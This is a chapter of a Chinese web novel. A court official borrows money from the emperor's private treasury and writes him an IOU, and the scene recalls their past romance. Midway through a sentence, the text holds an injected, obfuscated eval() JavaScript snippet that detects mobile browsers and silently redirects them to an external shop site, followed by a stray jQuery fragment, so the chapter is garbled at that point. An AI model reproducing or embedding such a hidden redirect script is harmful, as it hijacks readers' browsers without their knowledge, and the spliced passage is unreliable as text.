文趣网 > 其他小说 > 满朝文武都在等我发卷 > 18. 第 18 章
    苏纾垂眸,没有动作。

    秦临像是知道她在想什么,又补了一句:“这是朕的私库,不走公账。”

    这句话一落,苏纾那点最后的坚持也没了。

    她喉咙动了一下,“……我挑多少?”

    秦临脸上浮起一丝笑意:“看你挑得动多少。”

    内侍还躬身等着。

    秦临又吩咐:“取几只素布钱袋。”

    苏纾立刻补充道:“旧一点的。”

    内侍又是一愣,秦临看向她。

    苏纾十分自然地解释:“新的太打眼。”

    秦临没说什么,只对内侍道:“照她说的办。”

    内侍领着苏纾穿过一条夹道,又转过两重门。

    第一重门前守着两个内侍,见了御前的牌子,立刻退开。第二重门上挂着铜锁,锁旁还贴着朱封。领路的内侍没有自己开,只叫了守库太监来。

    守库太监先验了御前手令,又让旁边的小内侍翻出一本薄册,在上头记了一笔才开了锁,打开门。

    私库里面并没有苏纾想象中那种金山银山扑面而来的场面。只是一排排高柜靠墙立着,柜门上贴着黄签。地上摆着几口大漆箱,箱角包铜,封条压得平平整整。靠里还有几架长案,上头放着账册、漆匣和银盘,旁边点着驱潮的香。

    苏纾的目光从那些黄签上扫过去,什么江南织造贡缎、西番玉带钩、南海珠、蜀锦、沉香、御用金叶、赏用金银锞……

    每一个签子都写得很小,后头还标着年月、数目和封存处。

    守库太监低声道:“苏校书,陛下有命,赏用几柜可开。大宗封存之物,若要取,还需另记。”

    苏纾立刻道:“不用大宗。”

    开玩笑,她又不是来搬家的。

    守库太监便让人开了靠右的一只柜子。柜中是几层分格的小匣。最上层是金叶,薄薄一叠,压得齐整。旁边放着几枚金锞子,做成梅花、海棠一类的式样,看着就像宫里赏人的东西。

    苏纾只看了一眼,便移开目光。

    第二层是银锞、碎银和几枚小金豆。小金豆没有花纹,也不起眼,滚在匣角。

    第三层更杂些。有散碎银角,也有寻常铜钱,显然是平日赏赐、支取后剩下的零数。

    内侍在旁边小声道:“苏校书,这些都是零散之物。若要体面些的,旁边还有整套金叶子。”

    苏纾立刻摇头:“不用不用,日常花用不必太显眼。”

    内侍听得似懂非懂,但御前既然交代让她自己挑,他也不好多问。

    内侍把几只素布钱袋递过来。

    布袋果然是旧的,颜色灰扑扑,没绣花,也没宫里常用的纹样。

    苏纾很满意。她先往第一只袋里装铜钱和几块碎银;第二只袋里放碎银和小金豆;第三只袋里放几枚不起眼的小金锞子,又压了些银角,回头塞进文匣夹层。

    装到这里,她停了一下。

    守库太监和内侍都低着头。

    苏纾看着匣角剩下的几颗小金豆,伸手又多捡了几颗。

    苏纾把袋口系紧,又从第三层拿了几枚铜钱,塞进最小的那只袋里。

    内侍终于忍不住小声道:“苏校书,这些铜钱也要吗?”

    苏纾说:“我买个烧饼总不能拿金子买吧?”

    内侍觉得很有道理。

    苏纾挑完,守库太监重新合柜、落锁、封条,在册子上记了支取。

    写到数目时,他沉吟片刻,看向苏纾。

    苏纾立刻明白他的意思,提醒道:“记散银、小金豆、小金锞若干,铜钱一袋。”

    守库太监笔尖顿了顿:“若干?”

    苏纾很认真地回答:“后头我会给陛下写欠条。”

    守库太监不敢再问。

    她从库里出来时,秦临还在殿里等她,案上只有苏纾那张之前写的那张小纸,笔压在一角,像是在等她回来才开始处理别的事。

    见她回来,他问:“挑好了?”

    “差不多了,总得留点余地。”苏纾把三只钱袋一个一个地放到案边,袋子落下去的时候,发出一声闷响,苏纾自嘲道:“陛下也不想我以后再来借吧。”

    她当着他的面,一只一只解开系口给他确认。

    秦临的视线从那些东西上扫过去,像是被她气笑了:“朕倒是不介意。”

    苏纾怕他追问,在一旁的空笺里抽出一张说道:“都说了算我借你的,我给你写欠条。”

    说着拿起一旁的毛笔开始蘸墨落笔,一边写一边念叨:“今借秦临私银若干,日后若有机会必还,借款人苏纾。”

    写完,她吹了吹墨,递过去。

    “借的是你的私钱,所以写的是‘秦临’。”

    秦临接过欠条,看了一会才道:“若有机会?”

    “世事无常,欠条用词严谨一点。”

    秦临把欠条折起来,压进手边一册书里。

    “苏纾。”

    她被他这么一叫,反倒有些不自在。

    秦临看着她,语气比方才严肃了些:“缺什么,可以来找我。”

    苏纾的脑海中忽然飘过以前和秦临在一起恋爱时的那些旧日子。

    她赶紧把那些乱七八糟的念头压下去。

    “那我先记账。”

    秦临看她一眼,“你最好记得清楚。”

    苏纾笑笑:“放心,我数学还行。”

    秦临没再追问,拿起那张苏氏旧凭的清单,再次确认道:“明日去苏家?”

    苏纾点头:“明日一早,臣先回女官署取人,再去苏家。”

    秦临不放心道:“带一名女官署的人。”

    “好的。”

    “申时前回。”

    “如果办得快,我申时前就能回。”

    秦临目光一停。

    苏纾又补了一句:“如果办不完,也让随行的人先回署报信,我不会让女官署空等。”

    秦临看了她许久,最后叹了口气道:“准。”

    苏纾清了清嗓子,开始低头行礼:“臣领旨。”

    说完,她已经准备起身。

    秦临对外面抬了抬手,内侍立刻进来。

    “陛下。”

    秦临看了一眼桌旁的三只布袋,吩咐道:“去。”

    内侍一愣:“送苏校书回去?”

    秦临的视线落在那几只袋子上,“帮她搬回女官署。”

    内侍和苏纾都还没反应过来。

    秦临揉了揉眉心道:“她拿不动。”

    苏纾刚想说“我可以”,话还没出口,内侍已经低头应了。

    苏纾站在旁边,看着他一件一件收拾。她抬头看秦临,他已经转开视线,没有再看这些东西。

    钱袋全部收好后,内侍站在一旁等命。

    秦临这才开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646570|205800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    口:“送她住处。”

    内侍立刻明白了:“是。”

    苏纾忽然觉得哪里不太对,这个流程顺利到不像借钱,更像发钱。

    她一路回女官署,卢轻蘅还趴在案上登名帖,听见脚步声,立刻抬头。

    “怎么样?陛下准了吗?”

    苏纾把文匣放到案上。

    “准了。”

    卢轻蘅又问:“苏家旧凭呢?”

    “明日去取。”

    卢轻蘅松了口气,随即眼尖地发现她袖口鼓了一点。

    “你拿了什么?”

    苏纾把袖子往回收了收。

    “私事。”

    卢轻蘅好奇地问:“什么私事?”

    谢含章在旁边冷声道:“她不想说,你问出花来也没用。”

    卢轻蘅不服:“万一我问出来呢?”

    苏纾面无表情:“那说明你离被灭口不远了。”

    卢轻蘅撇撇嘴。

    裴掌事从里间出来,看见她回来了,问道:“御前怎么说?”

    “明日可去苏家取旧凭。带一名小女官,申时前回;若办不完,先遣人回署报信。”

    裴掌事点头,“规矩清楚就好。”

    苏纾应了一声,正堂里又重新忙起来。

    卢轻蘅边登帖子边问:“你明日真能申时前回来?”

    苏纾把笔搁下,“看苏家配不配合。”

    *

    宣政殿偏殿里。

    苏纾写的那张欠条被秦临压在书页里。

    他原本已经看过一遍,过了会儿,又重新抽出来。

    内侍换了一盏热茶进来,见他还拿着那张纸,没敢出声。

    秦临把欠条折了一下,又展开。

    他想起很久以前,苏纾也跟他借过钱。

    她站在他面前说自己饭卡忘充了,先借一顿饭钱。

    他给她转了个大金额。她只收了二十,剩下的钱又给他退回来,还振振有词:借钱归借钱,不能让你趁机搞慈善。

    那天她也写了欠条。

    便利贴撕了一半,字写得潦草,最后还画了个笑脸。

    秦临收回思绪,把欠条收进书册里,压好。

    “明日女官署谁随她去苏家?”

    内侍忙道:“回陛下,说是值房一名小女官,随苏校书取旧凭。”

    秦临点了下头:“让宫门不必多拦。”

    内侍应是。

    秦临拿起朱笔,重新看折子。

    写了两行,又停住。

    片刻后,他道:“申时前,她会回署。”

    内侍不知这话该不该接,只能低头站着。

    *

    苏纾下班回直舍的时候天色已经暗了。

    她推门进去时,屋里还是原来的样子。

    案上有没收完的文册,笔压在一角。

    她先把外衣挂好,然后才去看桌面。文册一页一页翻过去,随行要带的东西已经写过了。

    她把那一页重新压平,又抽出一张新的空纸放在一边备用。接着又从抽屉里拿出几只旧布袋,又换了一种更细一点的绳结。然后把最上层的文册往旁边挪了一点,最后腾出一小块空。

    她开始把东西分开装。铜钱放在最外层,碎银压在中间,小一点的金豆被她单独收进最里面的夹层。

    分类结束后,她把袋口一一收紧,再推回柜子最深处。